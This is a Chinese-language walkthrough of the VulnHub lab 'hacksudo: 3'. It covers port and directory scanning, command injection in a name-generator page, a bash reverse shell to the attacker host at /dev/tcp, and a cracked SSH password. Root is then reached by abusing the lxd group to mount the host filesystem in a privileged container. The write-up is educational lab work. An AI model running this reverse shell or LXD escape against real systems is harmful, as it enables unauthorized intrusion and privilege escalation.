渗透测试No.18 代码执行漏洞+LXD提权

459 阅读4分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

靶机信息


下载地址:

https://www.vulnhub.com/entry/hacksudo-3,671/

名称: hacksudo系列hacksudo: 3

靶场: VulnHub.com

难度: 简单

发布时间: 2021年3月24日

提示信息: 无

目标: user.txt和root.txt

实验环境

攻击机:VMware  kali    192.168.7.3
靶机:Vbox     linux   IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

图片

扫描到靶机地址为192.168.7.114

端口扫描

端口扫描是扫描目标机器所开放的服务

sudo nmap -sC -sV -p- 192.168.7.114 -oN hacksudo3.nmap

图片

扫描到3个端口.21(FTP),22(SSH),80(HTTP),这里的21和22端口被过滤了,应该是有防火墙,先看80端口

Web渗透

http://192.168.7.114/

图片

访问首页自动跳转到hidden目录,这是一个有收藏网址功能的站点,没有其他可利用的信息了,那主先做个目录扫描

目录扫描

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.7.114 -x .php,.html,.txt

图片

扫描到info.php页面login.php页面和generator.php逐个访问

info.php

http://192.168.7.114/info.php

图片

是个phpinfo页面

login.php

http://192.168.7.114/login.php

图片

一个登录页面,sqlmap扫描未发现sql注入漏洞

代码执行漏洞

generator.php

http://192.168.7.114/generator.php

图片

页面上的提示是一个名字生成器页面,随便填些内容看看

图片

输入内容会转换成艺术字体(就这么叫吧)这是执行了代码,可能存在代码执行漏洞,验证一下

图片

输入haha&ls果然列出了文件和目录,那我们反弹个shell试试

反弹shell

kali攻击机下监听4444端口

nc -lvvp 4444

图片

输入反弹payload提交

&bash -c 'bash -i >& /dev/tcp/192.168.7.3/4444 0>&1'

图片

反弹成功,先切换到完整的交换shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z

图片

stty -a

图片

stty raw -echo;fg
reset

图片

stty rows 21 columns 106

图片

切换完成,找一下敏感信息吧

/var/www目录下找到hacksudo文件

cd ..
ls -al
cat hacksudo

图片

rot13与sha-512解密

发现一段加密内容像是rot13加密,去解一下试试

https://icyberchef.com/

图片

 hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b

拿到SSH帐号hacksudo密码再去解一下,先识别是什么加密的

https://www.dcode.fr/identification-chiffrement

图片

检测到是sha-512加密,但是这个网站解不出来,科学上网找了一个网站

图片

https://10015.io/tools/sha512-encrypt-decrypt

图片

拿到密码vishal,现在可以登录ssh了

ssh hacksudo@192.168.7.114

图片

饿....忘记22端口有墙挡着,那我们在反弹shell上切换用户

su hacksudo
输入密码vishal
cd ~
ls
cat user.txt

图片

拿到user.txt

d045e6f9feb79e94442213f9d008ac48

再看看如何提权,执行id后发现用户在lxd用户组下

id

图片

LXD提权

简单讲一下原理:

 就是用用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权

kali攻击上操作

git clone https://github.com/saghul/lxd-alpine-builder.git

图片

 cd lxd-alpine-builder   
 sudo ./build-alpine

图片

图片

下载好alpine-v3.15-x86_64-20220124_1022.tar.gz后我们开启http服务

 python3 -m http.server

图片

靶机操作:

  1. 下载攻击机上的alpine-v3.15-x86_64-20220124_1022.tar.gz

  2. 导入镜像并初始化镜像

  3. 挂载磁盘

  4. 启动镜像

  5. 进入镜像访问文件获取root.txt

wget http://192.168.7.3:8000/alpine-v3.15-x86_64-20220124_1022.tar.gz

图片

导入镜像并初始化镜像

 lxc image import ./alpine-v3.15-x86_64-20220124_1022.tar.gz --alias test
 lxc init test test -c security.privileged=true

图片

报错了,是因为lxd没有初始化

lxd init    # 一路回车

图片

初始化镜像

lxc init test test -c security.privileged=true

图片

挂载磁盘

lxc config device add test test disk source=/ path=/mnt/root recursive=true

图片

启动镜像并进入镜像操作文件

 lxc start test
 lxc exec test /bin/sh
 id
 cd /mnt/root
 ls
 cd /root
 cat proof.txt
 cat root.txt

图片

成功拿到root.txt,游戏结束

这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.

图片